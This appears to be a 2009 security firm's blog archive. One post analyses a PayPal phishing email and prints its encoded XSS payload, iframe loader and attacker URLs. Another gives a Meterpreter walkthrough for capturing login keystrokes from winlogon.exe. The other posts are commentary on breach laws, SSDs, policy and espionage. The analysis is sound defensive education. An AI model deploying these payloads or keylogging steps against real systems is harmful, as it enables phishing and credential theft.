Analysis of a Real World Phishing Scheme

I received a lot of positive feedback around my blog post “Analysis of a Real World Hacking Attempt” and decided that after a recent email attempting to direct me to a paypal phishing site, it again was time to give a little insight as to what the latest attempts on phishing schemes are out there...

The email that read something like this:

Information about your account:
Security Center

Attention! Your PayPal account was limited!

As part of our security measures, we regularly check the work of the screen PayPal. We have requested information from you for the following reason:

Our system has detected unusual charges to a credit card linked to your PayPal account.

Reference Number: PP-259-187-991

This is the last reminder to log into PayPal, as soon as possible. Once you connect. PayPal will provide measures to restore access to your account.

Once connected, follow the steps to activate your account. We appreciate your understanding as we work to ensure security.

Clik Here To Activate

We appreciate your attention to this issue. Please understand that this is a security measure designed to protect you and your account. We apologize for any inconvenience ..

Department review PayPal accounts
________________________________________
Copyright © 1999-2009 PayPal. All rights reserved.
PayPal FSA Register Number: 226056.

Yes, they actually misspelled “click” on the phishing link, as well as other typos such as a double period, etc.

The link’s target location was:
https://secure.instantssl.com/products/passwordResetRequest? orderNumber="><image src="" onerror= "javascript:document.write(String.fromCharCode(60,83 ,67,82,73,80,84,32,83,82,67,61,34 ,104,116,116,112,58,47,47,57,54,46 ,57,46,50,52,46,49,51,48,47,120 ,115,115,49,46,106,112,103,34,62,60 ,47,83,67,82,73,80,84,62))" />

This is a textbook XSS flaw, easily seen by
https://secure.instantssl.com/products/passwordResetRequest?orderNumber= " > [XSS HERE]

If you look at http://96.9.24.130/xss1.jpg it is actually an html file, not a jpg image file.

Its contents are:
<html>
<body>
<img src="http://96.9.24.130/xss1.jpg" alt="http://96.9.24.130/xss1.jpg"/>
</body>
</html>

Firefox even treats it as an image providing right click options over it such as “copy image” and “copy image location”, despite it being a script target in an image tag.

Tricky...and if you save it locally and open it, you can see that the xss1.jpg’s contents is:
document.write("<iframe src='http://transgalaxyproducts.com/bbnse/webscr/webscr.php?cmd=_login-run' width='100%' height='100%' frameborder=0 scrolling=0></iframe>");

Then http://transgalaxyproducts.com/bbnse/webscr/webscr.php?cmd=_login-run is actually the location of the Paypal phishing site...

That was the story as of March 3rd...

Today, March 24th, the code for the xss1.jpg image has changed as seen below:

C:\>nc 96.9.24.130 80
GET /xss1.jpg HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 25 Mar 2009 00:58:00 GMT
Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_
auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Sat, 07 Mar 2009 10:22:10 GMT
ETag: "6a00c7-8c-46484c62ad880"
Accept-Ranges: bytes
Content-Length: 140
Connection: close
Content-Type: image/jpeg

document.write("<iframe src='http://96.9.24.130/cls/ws-cgi/365236545.html' width
='100%' height='100%' frameborder=0 scrolling=0></iframe>");
C:\>

The page at http://96.9.24.130/cls/ws-cgi/365236545.html seems to be that of a Craigslist listing for a truck in Atlanta, but saved locally to the server. Odd, and I have no guesses as to why this would be there... your guess is as good as mine, but that’s the reality of the stuff that is going on and out there. Hopefully this gave a little insight as to some of the subtle tricks hackers are using to try to steal your information. The IP 96.9.24.130 is in a block owned by Register.com out of New York and has a HTTP banner of "Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635".

Why there is a mirror of a Craiglist page is beyond me, but that’s where I’ll leave you to wonder on your own...

Read more!

Password Sniffing the Metasploit Way

H.D. Moore continues to kick some major bum with some of his recent updates to the Metasploit Framework. Most notably is the keystroke logger addition to the meterpreter console. For those of you not aware of what meterpreter is, it's a payload that gets delivered to the system somehow (i.e. buffer overflow, executable, etc.) and is really a swiss army knife for post-exploitation. With the latest svn update you can migrate to an already existing process like winlogon.exe and capture all keystrokes for individuals logging into a system. Pretty sweet stuff. I got to play with it this afternoon and its extremely simple, once in the meterpreter console do the following:

meterpreter> ps

Process list
=================

PID Name Path

--- ---- ----
401 winlogon.exe \??C:\WINNT\system32\winlogon.exe

meterpreter> migrate 401

[*] Migrating to 401...
[*] Migration completed successfully.

meterpreter> keyscan_start
Starting the keystroke sniffer...

**** A few minutes later after an admin logs in ****

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!

I.e. the ohnoes = password.

Of course this isn't just limited to the winlogon.exe, you can nail explorer.exe and intercept keystrokes from already logged in users.

More great stuff from the Metasploit framework, enjoy!

Read more!

Disclose This!

Over the past five years there has been an inundation of breach disclosure laws at both state and federal levels, all designed to ‘help’ the individual. We’ve managed to create a whole new term for this called PII – Personally Identifiable Information (which varies considerably). But what is it really doing for us? Is it really incenting companies to protect our data? I think you only need to open the papers to say otherwise. It’s as if everything is ok as long as we know it happened. Would we accept a medical system that writes the obituaries when someone dies, but does nothing to prevent sickness and death?

Over the years, the US has been fairly unique in the promulgation of these types of laws. At least 38 states have laws on breach disclosure. The big start was California State Bill 1386. Here in Ohio we have our own House Bill 104. Oh, and here in Ohio about 1 in 10 people have had data disclosed just by the state. I was also lucky enough to have my personal information lost by my Alma Mater too, Ohio University (go Bobcats!). In many ways, the Red Flag rules that have all the banks running around are still the same thing. However, all the focus is on detecting and notifying about identify theft, NOT preventing it.

When I hear about a data breach, I have so many things going through my head, things that I also hear others say. “Oh gee, thanks for letting me know. That makes me feel good. What’s that? You’ll slap the wrist of the company that did it? Maybe issue a small fine? What? I don’t get part of that fine as compensation? What, that disclosure law can’t be used in a class action law suit?” It kind of makes you sick. But what have these laws really done for us? Most are too new to really know. But studies have shown that some of the early adopters of this approach like the FTC have seen NO significant reduction in breaches. If I may rephrase that, the laws are useless.

From a business perspective, I’ve talked with many clients about this topic and very few are really even truly aware of which disclosure laws apply. Additionally, many take a legal focus on how they can split hairs on wriggling out from any applicable laws. I constantly hear “when it happens, we’ll just sit down and make a determination” i.e. a very reactive approach. What they don’t understand is that these laws are trying to just convey the common sense that they need to protect sensitive data for which they are custodians. So rather than say “Hey, this is common sense. Maybe we should just consider it or set it as a goal,” they wait for the pain and then react.

At some point, these laws are going to have to adapt and change. The reality is that they are ineffective at incenting companies to stop breaches from occurring. They need to mature as HIPAA has recently, and do things like open the gates for class action lawsuits, call for audits around the laws, and ultimately mandate prevention of breaches (go figure). If only I had a $1 for every time a client asked me “So what are the fines?” Unfortunately money makes the world go round, and from a business risk perspective, there isn’t a whole lot of money at stake with these simple disclosure laws.

If I were the CISO at your organization, my approach would be straightforward. First identify all your sensitive data and where it resides. Then look at an enterprise approach to encrypt that data throughout its lifecycle - and that does mean you need strong key management too. What you end up with is confidential data that has been desensitized on all your systems. So, if some system breach should occur, it really isn’t a breach of data and hence disclosure laws won’t apply. We do this all the time with PCI cardholder data and we do it with laptops and full disk encryption. So why aren’t you doing it elsewhere? Do you need a breach first? No problem. SecureState has a fantastic forensics practice available for you.

Read more!

SSD: The Spin Stops Here…

So who out there has ever experienced a Hard Disk failure? Sure, a lot of you have. Current magnetic spinning disks are (very) slowly being replaced by faster, longer lasting, Solid State Disks. Solid State Disks are nothing new. But they do offer many benefits over their predecessor. The major benefits over older technology are what really set apart this new technology.

With no moving parts, higher resistance to dropping and lower power consumption, laptop users are loving this new technology. Accident prone people who drop their laptops are enjoying their data staying put, road warriors are enjoying longer battery life, and power users are enjoying longer disk life.

The market share for Solid State Disks is relatively small at this point in time. Some people project the whole solid state market to be at 7.5 Billion in 2012, whereas the current market for Seagate (a hard disk manufacturer) was 3 Billion… just for the third quarter of 2008. So the traditional hard disks aren’t going anywhere soon.

So when a drive fails, how easy is it to retrieve the data from the drive? Depending on the drive size and whether or not there is any type of drive encryption, it is fairly easy given the proper tools. This trend is about to change with SSDs. SSDs don’t use the same technology that the traditional SATA (Serial Advanced Technology Attachment) and PATA (Parallel Advanced Technology Attachment) drives do.

But what kinds of issues are still alive for SSDs? Well, the costs are still outrageous for the common end user (especially in today’s economy). Disks are small in size, averaging 64GB of space for $150 which puts them on par with current SAS (Serial Attached SCSI (pronounced Skuzzy)) Drives. SAS Drives are built for Servers and offer stunning specs, including lots of cache, 10,000 and 15,000 RPM spin speeds, and lightning fast response times. Older desktop and laptop drives spin anywhere from 4600RPM to 7200 RPM which makes them much slower, but at the same time more affordable.

SSDs also are able to endure more abuse. This is rated in G-force. One G is equal to a mass’ normal weight. SSDs are able to take 1500G and more; that is 1500 times its own weight! This happens when a hard drive is dropped. Traditional drives can’t take that much abuse, while SSDs are said to be able to be dropped off of a 2 story building and still work. Try that with a normal SATA drive.

Think of your USB thumb drive that is used to transfer files from computer to computer; that is the type of technology used with Solid State drives. The difference is that traditional HDDs seek data at specific memory locations that are assigned distinct locations on a platter of the hard disk. SSDs don’t have this because there isn’t a spinning platter. This is what is called NAND Technology. This technology makes these drives much faster than traditional HDDs. You can’t physically point out a location for memory in NAND technology.

There are two types of Flash Memory; NAND and NOR. While NOR is best suited for small memory sticks, NAND is used in USB and now SSDs. NOR operates by sending electrical signals to the cells that form the whole storage memory. Each cell contains either a 1 or a 0 and all of those 1s and 0s make up your files, pictures and word documents. NAND on the other hand, operates by using gates. Writing data is called “tunnel inject” and reading data is called “tunnel release.” Because of how data is stored in flash memory, access times are significantly faster. Flash memory just about instantly accesses the data location and responds. In some cases random access times are dropped to 1-3ms! Traditional hard disks have normal access times of 7-10ms.

Also, these data locations are stored in onboard RAM that can have almost instant access to a memory location allowing for up to 250MB/sec data access. To put that into perspective SATA drives work at about 40-70MB/sec and PATA drives are even slower. So moving large files, such as MP3s and AVIs, goes much quicker (on the order 4-7 times faster!) This is most significant when moving Gigabytes of data.

Comparing three types of drives, SATA, SAS and SSD, how do you know what to do these days? There are many factors that can affect your decision. Cost, speed, reliability, MTBF (Mean Time Before Failure), form factor and transfer speed. Well for now, in mobile platforms, you will most likely be looking at SATA drives, although, if you have the extra money you could get a SSD. The server market eventually will be using SSDs but for now they are still using older SCSI drives or newer SAS drives. Normal desktop machines will probably be the last to move to SSDs due to size. People with 500 GB of music and terabytes of movies won’t be able to afford SSDs to replace their SATA drives for at least another 5-10 years.

The biggest issue with hard drives is that hardly anyone backs up their data. Even today, with disk space so cheap, backups are still almost non-existent in the home. Businesses are doing much better these days than even a few years ago in backing up data, but these backups are still on slow tapes that still take a lot of time to backup to and restore from.

So what’s the moral of the story? SSDs are moving in at a slow pace. But eventually all hard drives will be some kind of non-mechanical disk. They are energy efficient, fast and very long lasting. Even so, if the MTBF is 1,000,000 or longer as advertised by many SSDs, backup is crucial to data. Multiple copies of data in multiple locations is the only safe way to store data. What happens when a disk fails? That’s when you call us to get your data back.

Read more!

Fast-Track Not for the weak...

As many of you know I've invested a ton of time and effort into an open-source tool called Fast-Track. I won't get into the nitty gritty details about the inner-workings of the tool, but it has gotten heavy backing lately in the security community. I present at all the normal ISSA, ISACA, Infraguard, OWASP, Defcon, Shmoocon, INFOSEC, HTCIA, NOTACON conferences and try to portray my knowledge and vision in security to other people. SecureState puts on free seminars and is one of the thought leaders in the information security realm. Our goal is to help our customers but also present the "SecureState Way" in security. With any popularity you always get the select few that don't understand, lack experience, or perceive themselves above everyone else. Fast-Track isn't just a small side project for me, its been something that I take great pride in and invested a considerable amount of time to better the security community. For the one person out there that talks negatively about Fast-Track through podcasts, to others, and not directly towards us really show an individuals true colors. I open the comments section to anyone that's got a gripe with me and Fast-Track and we can do some fun internet blogging wars! :P This post is really directed at one person... If you wish to remain hidden and in the shadows I would cease on what you do, or I can really start to embarrass you publicly in front of thousands of people :-)

Read more!

President Obama: Good for Information Security?

Let me preface this entire blog by stating that I am neither republican nor democrat. I consider myself moderate and in turn find good and bad in both parties. With that said, this blog isn’t based on how I view politics, but rather how I view the new administration with regards to information security. I believe that President Obama’s administration may be good for information security (emphasis on “may” and “information”).

There is no question that President Obama ran the most technological campaign in American History. President Obama leveraged social networking sites like Facebook, online resources such as YouTube and Twitter, as well as his own website to reach out to the masses. At the end of President Obama’s campaign approximately 1.5 million accounts were created on “myBarackObama.com”. Barack Obama received over $600 million in contributions from more than three million people, many of whom donated through his website. This fact leads me to my first point. With this type of internet presence, I can only assume that information security had to be at the forefront of this campaign. After all, it doesn’t exactly look good if myBarackObama.com website is hacked allowing information for over 1.5 million people to be compromised.

The Obama administration is currently reviewing the policies and procedures for defending cyberspace and plans to propose any changes by the end of April. Now obviously we will have to wait to see what comes from this review to really determine just how the new administration views information security but the fact that they are taking on this task so early in the administration, in the midst of more serious problems, does say something. What that “something” is, has yet to be determined. This leads me to my second point and I will defend this position with blurb from an article written by Robert Lemos in an article titled “Law makers voice concerns over cybersecurity plan” posted on securityfocus.com:

“The U.S. government gave short shrift to cybersecurity issues at the beginning of the decade. While the Bush Administration released its National Strategy to Secure Cyberspace in 2003, the final document significantly softened the government's stance on securing critical infrastructure, which is primarily maintained by private companies. The Administration also collected most of the cybersecurity capabilities into the Department of Homeland Security and then failed to fund the efforts. While Congress established the position of Assistant Secretary for Cybersecurity within the DHS in 2005, the Bush Administration failed to fill the leadership role for more than a year, finally appointing Greg Garcia, a former information-technology lobbyist, to the post. In the last two years, however, the Bush Administration has focused more intently on securing government networks.”

It does certainly appear that the new administration is taking a more timely and proactive look at cyber security than the previous administration. That’s not to say that my opinion would not change if, in April, it comes to fruition that the new administration is actually cutting our cyber security defenses.

My last point will be made with a couple sections from an article titled “Staff Finds White House in the Technological Dark Ages” written by Anne E. Kornblut in the Washington Post:

“…Obama officials ran smack into the constraints of the federal bureaucracy yesterday, encountering a jumble of disconnected phone lines, old computer software, and security regulations forbidding outside e-mail accounts.”

It later states:

“The team members, accustomed to working on Macintoshes, found computers outfitted with six-year-old versions of Microsoft software. Laptops were scarce, assigned to only a few people in the West Wing. The team was left struggling to put closed captions on online videos.”

Some of you may ask, “Why this is important?”, or, “How do the above statements make the Obama administration any more or less security focused?” To answer these questions I will ask you this: Why was this important to the Obama staff in the first place and how exactly did it make national news? My only guess is someone in Obama’s administration must have realized that running Windows 95 may not be the most security conscious decision and therefore needed to be remediated. This is something I would have expected the previous administration to have known was a problem and have corrected long ago.

Read more!

Mission: Possible

It’s a problem with many names. Some refer to it as corporate espionage. Some say it’s business intelligence. Others may even refer to it as spying. Let’s call a spade a spade. It’s not some work of fiction seen only in movies like Mission Impossible or a Tom Clancy novel. Its occurring right here, right now and your organization may be a target. Don’t think so? Neither did The Cleveland Clinic, Kodak, MasterCard, Avery Denison, DuPont, Metaldyne, 3DGeo, or numerous other companies you may or may not have heard of.

Economic espionage, the most commonly accepted term for it, is a federal crime prosecutable under the Economic Espionage Act of 1996. Without getting into technical definitions of what constitutes economic espionage, it is the stealing of trade secrets, from the rightful owner, for the economic benefit of another. As the rightful owner of trade secrets, does this give you a “warm and fuzzy” feeling because there will be repercussions if the offender is caught? Do you feel safe just because someone can be convicted of a crime for stealing your secrets?

There is one hitch however: A provision in the Act that states the owner of that information must take reasonable measures to keep that information secret. What measures are you or your organization taking to ensure that you meet this provision? Are you classifying your data? Are you marking hard and soft copies of files with “Confidential Information”? Are you storing this information in locked file cabinets or safes? Are you using encrypted emails to send this information? Are you encrypting your hard drives on your laptops? Have you had a risk assessment performed? How about a penetration test? Are you educating your employees on what is sensitive information and how to protect it?

If your answer to one or more of these questions is no, good luck trying to convince anyone that you are taking “reasonable measures” to keep your information secret. Lucky for you, if you haven’t already ended up on the front page of the newspaper, you still have time to correct it. This problem can be fixed, and if you made it to this blog, you know who can help you! Good luck!

Read more!